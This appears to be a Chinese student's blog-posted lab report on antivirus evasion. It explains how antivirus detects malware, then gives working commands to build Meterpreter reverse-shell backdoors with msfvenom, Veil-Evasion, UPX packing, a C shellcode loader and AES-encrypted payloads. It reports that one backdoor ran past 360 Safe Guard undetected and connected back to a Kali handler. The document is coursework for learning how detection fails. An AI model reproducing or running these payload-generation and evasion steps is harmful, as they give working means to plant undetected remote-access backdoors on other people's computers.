一、基础问题回答

1、杀软是如何检测出恶意代码的?

答:(1)检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
(2)启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
(3)基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。

2、免杀是做什么?

答:免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

3、免杀的基本方法有哪些?

答:改变特征码:如果是类似exe的可执行文件可以加壳,例如压缩壳,如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件,如果是源代码可以用其他语言进行重写再编译。
改变行为:尽量使用反弹式连接;减少对系统的修改。
非常规方法:使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件。

4、开启杀软能绝对防止电脑中恶意代码吗?

答:开启杀软不能绝对防止电脑中恶意代码,如果杀软的病毒库中如果没有通用工具特征片段,或没有检测该恶意代码的有效手段则无法检测到该恶意代码。

二、 实践内容

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

1.1 得到kali的ip地址

1.2 检验直接生成的后门exe文件(实验二中的后门程序)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.130 PORT=1203 -f exe > 20201203backdoor.exe
用免杀测试平台测试:https://www.virustotal.com
测试结果如下:

1.3 使用Unicode编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b '\x00' LHOST=192.168.113.130 LPORT=1203 -f exe > 20201203backdoor.exe

测试结果如下:

编码多次(此处我编码了12次)

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -12 -b ‘\x00’ LHOST=192.168.113.130 LPORT=1203 -f exe > 20201203_backdoor2.exe

测试结果如下:

1.4利用php格式文件检测

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.130 LPORT=1203 x> 20201203_backdoor_php.php

1.5利用jar文件检测

msfvenom -p java/shell_reverse_tcp LHOST=192.168.113.130 LPORT=1203 -f jar > 20201203_backdoor_jar.jar

2、veil,加壳工具

2.1安装veil-evasion

sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh

需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为
Sudo git clone https://gitee.com/spears/VeilDependencies.git

修改成功后,输入veil

安装相关模块

安装成功之后如果出现了找不到AutoIT文件的错误

输入指令 /usr/share/veil/config/setup.sh --force --silent

解决问题

2.2利用加壳工具产生后门软件

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.113.130
set LPORT 1203
generate

输入文件名字

20201203veil

生成的文件的路径为/var/lib/veil/output/compiled/20201203veil.exe

检测结果为

2.3 免杀加壳尝试

upx 20201203veil.exe -o 20201203_veil_upx.exe

3、使用C + shellcode编程

使用msfvenom 得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.130 LPORT=1203 -f c

编辑C文件 vim shellcode_c.c,输入上方的代码以及
int main()
{  
    int (*func)() =(int(*)())buf;
    func();
}

编译成可执行文件

i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

4.通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt
veil
use evasion
list
use python/shellcode_inject/aes_encrypt.py
generate
2
回车
192.168.113.130
1203
回车

原理:使用了数据加密的方式进行多次编译后门软件

三、附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

用Windows主机做测试,杀毒软件为360安全卫士,版本为12.0.0.2004,前面生成的后门程序20201203_veil_upx.exe不会被杀毒软件查杀。阻止区中均没有上述软件,并且我并未执行添加到信任区的操作,也没有报警信息。说明可以直接运行.

我们回到kali中打开msf控制台,进行配置
use exploit/multi/handler		
set payload windows/meterpreter/reverse_tcp		
set LHOST 192.168.113.130			
set LPORT 1203
exploit
然后再windows中执行20201203_veil_upx.exe。成功回连,获取到Windows的shell,并尝试执行了dir命令。

四、实验总结与体会

在进行本次实验的过程中,我遇到的最大的困难是veil的安装,在安装加壳工具的时候setup.sh的路径找不到,安装的速度慢,安装结束后,不能找到python3.4的文件,不能找到AutoIT文件,也遇到过Wine32出现问题,于是在网上寻找资料,在一次又一次的恢复kali快照之后解决了问题。其他的就一帆风顺。在本次实验之后,我学习到了杀毒软件的基本的作用原理,在进行实验的过程当中,由最开始的免杀效果差到平台检测不出风险,我意识到电脑里面的杀软不是完善的、完备的。由此也提高了我的安全意识,要定期要检查自己的电脑。

posted on 2023-03-24 18:24  朴伤色  阅读(291)  评论(0编辑  收藏  举报